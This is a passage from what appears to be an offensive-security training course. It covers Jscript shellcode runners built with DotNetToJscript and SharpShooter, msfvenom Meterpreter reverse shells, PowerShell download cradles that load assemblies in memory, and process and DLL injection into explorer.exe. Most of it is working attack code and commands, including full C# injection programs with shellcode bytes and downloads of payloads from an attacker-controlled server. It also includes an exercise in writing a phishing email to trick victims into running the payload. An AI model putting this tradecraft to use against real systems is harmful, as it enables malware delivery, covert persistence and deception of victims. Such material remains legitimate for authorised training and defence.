into the same folder as DotNetToJscript.exe on the Windows 10
development machine.

Now that we have our updated DLL in place, we can invoke
DotNetToJscript with the same arguments as earlier, telling
it to use version 4 of the .NET framework and output a Jscript file,
as shown below.

C:\Tools> DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

Listing 35 - Invoking
DotNetToJscript to create a Jscript shellcode runner

With our multi/handler set up, we can double-click the Jscript file.
After a brief pause, we should receive the staged reverse Meterpreter
shell. Very nice.

We have successfully leveraged Jscript to deliver an arbitrary C#
assembly, which in our case is a shellcode runner.

Exercises

  1. Recreate the steps to obtain a Jscript shellcode runner.
  2. Use DotNetToJscript to obtain a shellcode runner in VBScript
    format.

Extra Mile

Create the text for a phishing email using a pretext that would make
sense for your organization, school, or customer. Frame the text to
convince the victim to click on an embedded link that leads to an HTML
page on your Kali system.

Manually create the HTML page sitting on your Apache web server so it
performs HTML smuggling of a Jscript shellcode runner when the link is
opened with Google Chrome. Ensure that the email text and the content
of the HTML page encourage the victim to run the Jscript file.

SharpShooter

In recent years, it has become much more common to use DotNetToJscript
to weaponize C# compiled assemblies in other file formats (like
Jscript, VBScript, and even Microsoft Office macros). A payload
generation tool called SharpShooter[221] has been created
to assist with this.

SharpShooter is "a payload creation framework for the retrieval and
execution of arbitrary C# source code"[221-1] and automates
part of the process discussed in this module. As with any automated
tool, it is vital that we understand how it works, especially when
it comes to bypassing security software and mitigations that will be
present in most organizations.

SharpShooter is capable of evading various types of security
software but that topic is outside the scope of this module.

We can install SharpShooter on Kali with git clone and Python
pip[222] as shown in Listing 36.

kali@kali:~$ cd /opt/

kali@kali:/opt$ sudo git clone https://github.com/mdsecactivebreach/SharpShooter.git
Cloning into 'SharpShooter'...

kali@kali:/opt$ cd SharpShooter/

kali@kali:/opt/SharpShooter$ sudo pip install -r requirements.txt

Listing 36 - Installing SharpShooter on Kali
Linux

If confronted with a message saying that pip cannot be found,
install the package with sudo apt install python-pip

With SharpShooter installed, we'll try to replicate what we did
manually in this module, creating a shellcode runner with Jscript by
leveraging DotNetToJscript.

First, we'll use msfvenom to generate our Meterpreter reverse
stager and write the raw output format to a file.

kali@kali:/opt/SharpShooter$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt
...
Payload size: 716 bytes
Saved as: /var/www/html/shell.txt

Listing 37 - Creating a raw Meterpreter staged
payload

Next, we'll invoke SharpShooter.py while supplying a number
of parameters, as shown in Listing 38. The first
--payload js, will specify a Jscript output format. The
next parameter, --dotnetver, sets the .NET framework version
to target. The --stageless parameter specifies in-memory
execution of the Meterpreter shellcode.

The term stageless for SharpShooter refers to whether the entire
Jscript payload is transferred at once, or if HTML smuggling is used
with a staged Jscript payload.

--rawscfile specifies the file containing our shellcode
and we set our output file with --output, leaving
off the file extension. The full command is shown in Listing
38.

kali@kali:/opt/SharpShooter$ sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test
...
    
[*] Written delivery payload to output/test.js

Listing 38 - Generating malicious Jscript file
with SharpShooter

Once again we must configure a multi/handler matching the
generated Meterpreter shellcode. When that is done, we need to copy
the generated test.js file to our Windows 10 victim machine.
When we double-click it, we obtain a reverse shell.

Using an automated tool can greatly improve productivity and reduce
repetitive tasks, but it is always important to understand the
techniques employed and the operation of underlying code.

So far, we have taken advantage of both PowerShell and compiled
C# assemblies, but we can also combine the two to dynamically load
assemblies through PowerShell without touching the disk.

Exercises

  1. Install SharpShooter on Kali and generate a Jscript shellcode
    runner.
  2. Expand on the attack by creating a staged attack[223] that also
    leverages HTML smuggling to deliver the malicious Jscript file.

In-memory PowerShell Revisited

We developed powerful tradecraft With Windows Script Host and C#. Let's
go back and combine that with our PowerShell and Office tradecraft
from the previous module to develop another way of executing C# code
entirely in memory.

One of the issues when executing PowerShell in-memory was the use
of Add-Type or the rather complicated use of reflection. While we
proved that it is possible to call Win32 APIs and create a shellcode
runner in PowerShell entirely in-memory, we can also do this by
combining PowerShell and C#.

Using the Add-Type keyword made the .NET framework both compile
and load the C# assembly into the PowerShell process. However, we can
separate these steps, then fetch the pre-compiled assembly and load it
directly into memory.

Reflective Load

To begin, we'll open the previous ConsoleApp1 C# project in Visual
Studio. We'll create a new project in the solution to house our code
by right-clicking Solution 'ConsoleApp1' in the Solution Explorer,
navigating to Add, and clicking New Project... as shown in Figure
11.

Figure 11: Creating a new project from Solution Explorer

From the Add a new project menu, we'll select Class Library (.Net
Framework)
, which will create a managed DLL when we compile (Figure
12).

Figure 12: Selecting a Class Library project

After clicking Next, we'll accept the default name of ClassLibrary1,
click Create, and accept the security warning about remote projects.

The process of creating a managed EXE is similar to that of creating
a managed DLL. In fact, we can begin by copying the contents of the
Program class of the ConsoleApp1 project into the new Class1
class. We'll copy the DllImport statements as-is then create a
runner method with the prefixes public, static, and void. This
will serve as the body of the shellcode runner and must be available
through reflection, which is why we declared it as public and static.

public class Class1
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
     uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
      IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public static void runner()
    {
    }

Listing 39 - DllImports and definition of
runner method

Next we'll copy the exact content of the Main method of the
ConsoleApp1 project into the runner method. We'll also need to replace
the namespace imports to match those of the ConsoleApp1 project.

With the C# code complete, we can compile it and copy the resulting
DLL (ClassLibrary1.dll) into the web root of our Kali Linux
machine.

Once the file is in place, we'll ensure that Apache is started and
configure a multi/handler Metasploit listener.

In a new 64-bit session of PowerShell ISE on the Windows 10
development machine, we'll use a download cradle to fetch the
newly-compiled DLL. As shown in Listing 40,
we'll use the LoadFile method from the System.Reflection.Assembly
namespace to dynamically load our pre-compiled C# assembly into the
process. This works in both PowerShell and native C#.

(New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/ClassLibrary1.dll', 'C:\Users\Offsec\ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\Offsec\ClassLibrary1.dll")

Listing 40 - Downloading the assembly and
loading it into memory

After the assembly is loaded, we can interact with it using reflection
through the GetType and GetMethod methods, and finally call it
through the Invoke method:

$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Listing 41 - Executing the loaded
assembly using reflection

Executing this PowerShell results in a reverse Meterpreter shell,
but it will download the assembly to disk before loading it. We can
subvert this by instead using the Load[224] method, which accepts
a Byte array in memory instead of a disk file. In this case, we'll
modify our PowerShell code to use the DownloadData[225] method of
the Net.WebClient class to download the DLL as a byte array.

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Listing 42 - Using DownloadData and Load to
execute the assembly from memory

With this change, we have successfully loaded precompiled C# assembly
directly into memory without touching disk and executed our shellcode
runner. Excellent!

Exercises

  1. Build the C# project and compile the code in Visual Studio.
  2. Perform the dynamic load of the assembly through the download
    cradle both using LoadFile and Load (Remember to use a 64-bit
    PowerShell ISE console).
  3. Using what we have learned in these two modules, modify the C#
    and PowerShell code and use this technique from within a Word macro.
    Remember that Word runs as a 32-bit process.

Wrapping Up

In this module, we have explored another avenue of client-side
code execution using Jscript and C#, with the same low-profile
capability as our previous version that leveraged Microsoft Office and
PowerShell.

Even though we have used multiple languages and techniques to
obtain code execution, there are even more combinations in the wild.
Penetration testers have used the HTML Application or HTA[226]
attack against Internet Explorer for many years. The combination of
HTA and HTML smuggling has allowed it to be efficiently used against
other browsers and weaponized as the Demiguise[227] tool.

A somewhat newer technique leverages the ability to instantiate
other scripting engines in .NET like IronPython,[228]
which lets a penetration tester combine the power of Python
and .NET. Trinity[229] is a framework for implementing this
post-exploitation.

Java[17-1]-based Java Applets[230] and Java JAR[231]
files can be used to gain client-side code execution. The most
common variant using Java JAR files in the wild is called jRAT or
Adwind.[232] This variant implements reflection and in-memory
compilation techniques in Java. Java also contains a built-in
JavaScript scripting engine called Nashhorn.[233]

Process Injection and Migration

Now that we have demonstrated various ways to get a reverse shell, it
is time to examine the inner workings of these techniques and discuss
how we can manually inject our code into other programs and migrate to
different processes.

When obtaining a reverse shell, be it a Meterpreter, regular command
shell, or a shell from another framework, it must execute within
a process. A typical shellcode runner (like those we developed in
Microsoft Word, PowerShell, and Jscript) executes the shell inside its
own process.

There are potential issues with this approach. First, the victim
may close the application, which could shut down our shell. Second,
security software may detect network communication from a process that
normally doesn't generate it and block our shell.

One way to overcome these challenges is with process injection or
process migration. In this module, we'll discuss these concepts and
demonstrate various implementation techniques.

Finding a Home for Our Shellcode

To extend the longevity of our implant, we can execute it in a process
that is unlikely to terminate.

One such process is explorer.exe, which is responsible for hosting
the user's desktop experience. We could also inject into a new hidden
process like notepad.exe, or we could migrate to a process like
svchost.exe that performs network communication.

Process Injection and Migration Theory

In this section, we'll discuss the basic theory behind process
injection and migration.

By definition, a process is a container that is created to house a
running application. Each Windows process maintains its own virtual
memory space. Although these spaces are not meant to directly interact
with one another, we may be able to accomplish this with various Win32
APIs.

On the other hand, a thread executes the compiled assembly code
of the application. A process may have multiple threads to perform
simultaneous actions and each thread will have its own stack and
shares the virtual memory space of the process.

As an overview, we can initiate Windows-based process injection
by opening a channel from one process to another through the Win32
OpenProcess[234] API. We'll then modify its memory space
through the VirtualAllocEx[235] and WriteProcessMemory[236]
APIs, and finally create a new execution thread inside the remote
process with CreateRemoteThread.[237]

We will discuss these APIs in more detail in the next section,
but we need to take a moment to discuss security permissions. The
OpenProcess API opens an existing local process for interaction
and must be supplied with three parameters. The first argument,
dwDesiredAccess, establishes the access rights[238] we
require on that process. Let's take a moment to discuss these access
rights.

To call OpenProcess successfully, our current process must possess
the appropriate security permissions. Every process has a Security
Descriptor
[239] that specifies the file permissions of the executable
and access rights of a user or group, originating from the creator of
the process. This can effectively block privilege elevation.

All processes also have an Integrity level[240] that restricts
access to it. This works by blocking access from one process to
another that has a higher Integrity level, however accessing a process
with a lower Integrity level is generally possible.

Let's examine these settings on our Development machine. First, we'll
execute Notepad as our standard Offsec user. Then we'll examine the
security setting of the process by launching the 64-bit version of
Process Explorer, selecting Notepad, opening the Properties window,
and navigating to the Security tab:

Figure 1: Security settings of Notepad run as a normal user

This output details the users and groups that may interact with the
process as well as the integrity levels. In this case, this Notepad process
runs at Medium Integrity, which is a standard level for most
processes.

We can click the Permissions button to open a new window showing
the specific user permissions. By selecting the Offsec user, we find
that we have both read and write permissions to the process (Figure
2).

Figure 2: Permissions of Notepad process by Offsec user

With these settings we should be able to use OpenProcess to open a
handle to the Notepad process.

In contrast, if we open Notepad as an administrator through the Run
as administrator
feature and look at the same Security tab in
Process Explorer for the new Notepad instance, we find the same set
of users and groups have access but that it is now running as a high
integrity level
process (Figure 3). Note
that in order to access properties for processes running at integrity
levels higher than medium, we must launch Process Explorer as a high
integrity process by right-clicking the executable and selecting "Run
as administrator".

Figure 3: Permissions to Notepad process by Offsec user

In this case, OpenProcess will fail if we execute it as part of our
code in a Word macro or Jscript file since the integrity level of the
target process will be higher.

In general, we can only inject code into processes running at the
same or lower integrity level of the current process. This makes
explorer.exe a prime target because it will always exist and does not
exit until the user logs off. Because of this, we will shift our focus
to explorer.exe.

Now that we have selected a process and know the security level we
need, we can discuss the second and third arguments to OpenProcess.
The second, bInheritHandle, determines if the returned handle may be
inherited by a child process and the third, dwProcessId, specifies
the process identifier of the target process. We will discuss the
values of these settings in the next section.

Next, we can discuss the VirtualAllocEx API. In our previous
shellcode runner, we used VirtualAlloc to allocate memory for our
shellcode. Unfortunately, that only works inside the current process
so we must use the expanded VirtualAllocEx API. This API can perform
actions in any process that we have a valid handle to.

The next API, WriteProcessMemory, will allow us to copy data into
the remote process. Note that since our previous RtlMoveMemory and
C# Copy methods do not support remote copy, they are not useful
here.

Similarly, since CreateThread does not support the creation of
remote process threads, we must rely on the CreateRemoteThread API
instead.

Now that we've introduced these APIs, let's begin implementing them in
C#.

Process Injection in C#

To begin our process injection implementation, we'll generate a
project. Let's head back to our Windows 10 development machine, open
the ConsoleApp1 Visual Studio solution and create a new .NET standard
Console App
project called "Inject" using the Solution Explorer.

Once this is open, we'll begin to import the four required APIs
we discussed earlier. Let's start by searching for the P/Invoke
OpenProcess DllImport statement on www.pinvoke.net.

We'll copy the DllImport statement into the Program class and add a
"using" statement for the System.Runtime.InteropServices namespace.

using System;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
        
        static void Main(string[] args)
        {
        }
    }
}

Listing 1 - Importing OpenProcess using
DllImport and P/Invoke

Now that we have the correct syntax for the import statement, let's
figure out the OpenProcess API's arguments from its function prototype
on MSDN[241] (Listing 2).

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

Listing 2 - OpenProcess function
prototype

The first argument (dwDesiredAccess) is the access right we
want to obtain for the remote process. Its value will be checked
against the security descriptor. In our case, we request the
PROCESS_ALL_ACCESS[242] process right, which will give us
complete access to the explorer.exe process. PROCESS_ALL_ACCESS has a
hexadecimal representation of 0x001F0FFF.

Next, we need to decide whether or not a created child process can
inherit this handle (bInheritHandle). In our case, we do
not care and can simply pass the value false. The final argument
(dwProcessId) is the process ID of explorer.exe, which we can easily
obtain through Process Explorer.

In the case of this example, the process ID of explorer.exe is
4804, but this changes after each login and varies by machine.

We can now implement the call to OpenProcess as displayed in Listing
3.

IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);

Listing 3 - Calling OpenProcess against
explorer.exe

Now that we have an open channel from one process to another, we
must allocate memory for our shellcode using VirtualAllocEx,
which requires us to perform another import. We'll again use
www.pinvoke.net to find the import shown in Listing
4.

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 
  uint dwSize, uint flAllocationType, uint flProtect);

Listing 4 - Importing VirtualAllocEx

To enumerate the VirtualAllocEx arguments, we'll again turn to MSDN
to find the function prototype[243] shown in Listing
5.

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Listing 5 - VirtualAllocEx function
prototype

The first argument (hProcess) is the process handle to explorer.exe
that we just obtained from OpenProcess and the second, lpAddress,
is the desired address of the allocation in the remote process. If the
API succeeds, our new buffer will be allocated with a starting address
as supplied in lpAddress.

It should be noted that if the address given with lpAddress is
already allocated and in use, the call will fail. It is better to pass
a null value and let the API select an unused address.

The last three arguments (dwSize, flAllocationType, and
flProtect) mirror the VirtualAlloc API parameters and
specify the size of the desired allocation, the allocation type,
and the memory protections. We'll set these to 0x1000, 0x3000
(MEMCOMMIT and MEM_RESERVE) and 0x40 (PAGE_EXECUTE_READWRITE),
respectively. The _VirtualAllocEx
invocation is shown in Listing
6.

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

Listing 6 - Calling VirtualAllocEx against
explorer.exe

After allocating memory, we'll generate a 64-bit Meterpreter staged
shellcode with msfvenom in csharp format and embed it in the code.

Next, we'll copy the shellcode into the memory space of explorer.exe.
We'll use WriteProcessMemory for this, and again copy the import
statement from www.pinvoke.net.

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

Listing 7 - Importing WriteProcessMemory

WriteProcessMemory also takes five parameters, and MSDN lists the
following prototype:[244]

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

Listing 8 - WriteProcessMemory function
prototype

We first pass the process handle (hProcess) followed by the
newly allocated memory address (lpBaseAddress) in explorer.exe
along with the address of the byte array (lpBuffer) containing
the shellcode. The remaining two arguments are the size of the
shellcode to be copied (nSize) and a pointer to a location in
memory (lpNumberOfBytesWritten) to output how much data was
copied. The call to WriteProcessMemory is shown below in Listing
9.

byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc...

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

Listing 9 - Calling WriteProcessMemory
against explorer.exe

Notice that the out[245] keyword was prepended to the outSize
variable to have it passed by reference instead of value. This ensures
that the argument type aligns with the function prototype. The input
buffer (buf) also needs to be a pointer but this is inherent in the C#
array data type.

At this stage, we can execute the shellcode. We'll import
CreateRemoteThread with the statement copied from www.pinvoke.net:

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, 
        IntPtr lpThreadId);

Listing 10 - Importing CreateRemoteThread

Once more, we'll inspect the arguments on
MSDN.[246] Listing 11
shows the function prototype.

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Listing 11 - CreateRemoteThread function
prototype

This API accepts seven arguments, but we will ignore those that aren't
required. The first argument is the process handle to explorer.exe,
followed by the desired security descriptor of the new thread
(lpThreadAttributes) and its allowed stack size (dwStackSize). We
will set these to "0" to accept the default values.

For the fourth argument, lpStartAddress, we must specify the
starting address of the thread. In our case, it must be equal to
the address of the buffer we allocated and copied our shellcode
into inside the explorer.exe process. The next argument,
lpParameter, is a pointer to variables which will be passed to the
thread function pointed to by lpStartAddress. Since our shellcode does
not need any parameters, we can pass a NULL here.

The remaining two arguments include various flags (dwCreationFlags)
and an output variable for a thread ID (lpThreadId), both of which
we will ignore. The call to CreateRemoteThread is shown in Listing
12.

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Listing 12 - Calling CreateRemoteThread
against explorer.exe

Let's review the full code, with the included (abridged) Meterpreter
staged shellcode:

using System;
using System.Runtime.InteropServices;


namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static void Main(string[] args)
        {
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            byte[] buf = new byte[591] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            ....
            0x0a,0x41,0x89,0xda,0xff,0xd5 };
                        IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Listing 13 - Full code

Before compiling the project, we need to remember to set the CPU
architecture to x64 since we are injecting into a 64-bit process.

Note that 64-bit versions of Windows can run both 32 and 64-bit
processes. This means that we could face four potential migration
paths: 64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit and 32-bit
-> 64-bit.

The first three paths will work as expected. However, the fourth
(32-bit -> 64-bit) will fail since CreateRemoteThread does not
support this. One workaround (which is what advanced implants like
Meterpreter do)[247] is to execute the call directly in assembly.
The technique involves performing a translation from 32-bit to 64-bit
long mode inside the 32-bit process. This is not officially supported
and requires a lot of custom assembly code. This approach is outside
the scope of this module.

After compiling the project, we'll configure a Meterpreter listener
and execute our process, injecting the shellcode. If all goes well,
we will obtain a reverse shell running inside explorer.exe as shown in
Listing 14.

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.12; (UUID: abrlqwbz) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.12:51449) at 2019-10-14 09:02:37 -0400

meterpreter > getpid
Current pid: 4804

Listing 14 - Meterpreter shell from within
explorer.exe

The process ID indicates that the Meterpreter shell is indeed running
inside explorer.exe.

We were able to launch our Meterpreter shellcode directly inside
explorer.exe, which means that even if the original process is killed,
the shell will live on.

We've successfully injected arbitrary shellcode into another
process. Good.

Exercises

  1. Replicate the steps and inject a reverse Meterpreter shell
    into the explorer.exe process.
  2. Modify the code of the ExampleAssembly project in DotNetToJscript
    to create a Jscript file that executes the shellcode inside
    explorer.exe. Instead of hardcoding the process ID, which cannot be
    known remotely, use the Process.GetProcessByName[248]
    method to resolve it dynamically.
  3. Port the code from C# to PowerShell to allow process injection and
    shellcode execution from a Word macro through PowerShell. Remember
    that PowerShell is started as 32-bit, so instead of injecting into
    explorer.exe, start a 32-bit process such as Notepad and inject into
    that instead.

Extra Mile

Process injection with VirtualAllocEx, WriteProcessMemory, and
CreateRemoteThread is considered a standard technique, but there are
a few others to consider.

The low-level native APIs NtCreateSection, NtMapViewOfSection,
NtUnMapViewOfSection, and NtClose in ntdll.dll can be
used as alternatives to VirtualAllocEx and WriteProcessMemory.

Create C# code that performs process injection using the four new APIs
instead of VirtualAllocEx and WriteProcessMemory. Convert the code
to Jscript with DotNetToJscript. Note that CreateRemoteThread must
still be used to execute the shellcode.

DLL Injection

Process injection allowed us to inject arbitrary shellcode into a
remote process and execute it. This served us well for shellcode, but
for larger codebases or pre-existing DLLs, we might want to inject an
entire DLL into a remote process instead of just shellcode.

DLL Injection Theory

When a process needs to use an API from a DLL, it calls the
LoadLibrary[249] API to load it into virtual memory
space. In our case, we want the remote process to load our
DLL using Win32 APIs. Unfortunately, LoadLibrary can not
be invoked on a remote process, so we'll have to perform a
few tricks to force a process like explorer.exe to load our
DLL. The MSDN function prototype of LoadLibrary (Listing
15),[250] reveals that
the function only requires one parameter: the name of the DLL to load
(lpLibFileName):

HMODULE LoadLibraryA(
  LPCSTR lpLibFileName
);

Listing 15 - LoadLibrary function
prototype

Many Win32 APIs come in two variants with a suffix of "A" or "W".
In this instance, it would be LoadLibraryA or LoadLibraryW and
describes if any string arguments are to be given as ASCII ("A") or
Unicode ("W") but otherwise signify the same functionality.

Our approach will be to try to trick the remote process into executing
LoadLibrary with the correct argument. Recall that when calling
CreateRemoteThread, the fourth argument is the start address of the
function run in the new thread and the fifth argument is the memory
address of a buffer containing arguments for that function.

The idea is to resolve the address of LoadLibraryA inside the
remote process and invoke it while supplying the name of the DLL we
want to load. If the address of LoadLibraryA is given as the fourth
argument to CreateRemoteThread, it will be invoked when we call
CreateRemoteThread.

In order to supply the name of the DLL to LoadLibraryA, we must
allocate a buffer inside the remote process and copy the name and path
of the DLL into it. The address of this buffer can then be given as
the fifth argument to CreateRemoteThread, after which it will be
used with LoadLibrary.

However, there are several restrictions we must consider. First, the
DLL must be written in C or C++ and must be unmanaged. The managed
C#-based DLL we have been working with so far will not work because we
can not load a managed DLL into an unmanaged process.

Secondly, DLLs normally contain APIs that are called after the DLL
is loaded. In order to call these APIs, an application would first
have to "resolve" their names to memory addresses through the use of
GetProcAddress. Since GetProcAddress cannot resolve an API in a
remote process, we must craft our malicious DLL in a non-standard way.

Let's take a moment to discuss this approach. As part of its
functionality, LoadLibrary calls the DllMain[251] function
inside the DLL, which initializes variables and signals that the DLL
is ready to use. Listing 16 shows the
DllMain function prototype:

BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);

Listing 16 - The DllMain function prototype

Typically, DllMain performs different actions based on the reason
code (fdwReason) argument that indicates why the DLL entry-point
function is being called.

We can see this in the unmanaged DllMain code shown in Listing
17.

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Listing 17 - The DllMain function is called
on module load

As stated in the MSDN documentation, the DLL_PROCESS_ATTACH reason
code is passed to DllMain when the DLL is being loaded into the
virtual memory address space as a result of a call to LoadLibrary.
This means that instead of defining our shellcode as a standard API
exported by our malicious DLL, we could put our shellcode within the
DLL_PROCESS_ATTACH switch case, where it will be executed when
LoadLibrary calls DllMain.

To use this technique, we either have to write and compile a custom
unmanaged DLL in C or C++ that will execute shellcode when the
DllMain function is called, or use a framework to generate one. Since
C and C++ programming is outside the scope of this module, in the next
section, we'll use the latter approach to generate a Meterpreter DLL
with msfvenom, leveraging the technique explained above.

DLL Injection with C#

Let's begin by generating our DLL with msfvenom, saving the
file to our web root:

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll

Listing 18 - Generating
Meterpreter shellcode

To implement the DLL injection technique, we are going to create
a new C# .NET Standard Console app that will fetch our DLL from
the attacker's web server. We'll then write the DLL to disk since
LoadLibrary only accepts files present on disk. This code is shown
below (Listing 19):

using System.Net;
...

String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\met.dll";

WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.119.120/met.dll", dllName);

Listing 19 - Downloading a DLL and
writing it to disk

Next, we'll resolve the process ID of explorer.exe and pass it to
OpenProcess:

Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;

IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

Listing 20 - OpenProcess called on
explorer.exe

For the next step, we'll use VirtualAllocEx to allocate memory
in the remote process that is readable and writable and then use
WriteProcessMemory to copy the path and name of the DLL into it
(Listing 21):

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x4);

IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);

Listing 21 - Allocating and copying the name
of the DLL into explorer.exe

Next, we'll resolve the memory address of LoadLibrayA inside the
remote process. Luckily, most native Windows DLLs are allocated at the
same base address across processes, so the address of LoadLibraryA
in our current process will be the same as in the remote.

To locate its address, we'll use the combination of GetModuleHandle
and GetProcAddress to resolve it and add the associated DllImport
statements:

IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

Listing 22 - Locating the address of
LoadLibraryA

Finally, we can invoke CreateRemoteThread, this time supplying both
a starting address and an argument address:

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);

Listing 23 - Creating a remote thread with
argument

Our full DLL injection code is as follows:

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\met.dll";

            WebClient wc = new WebClient();
            wc.DownloadFile("http://192.168.119.120/met.dll", dllName);

            Process[] expProc = Process.GetProcessesByName("explorer");
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
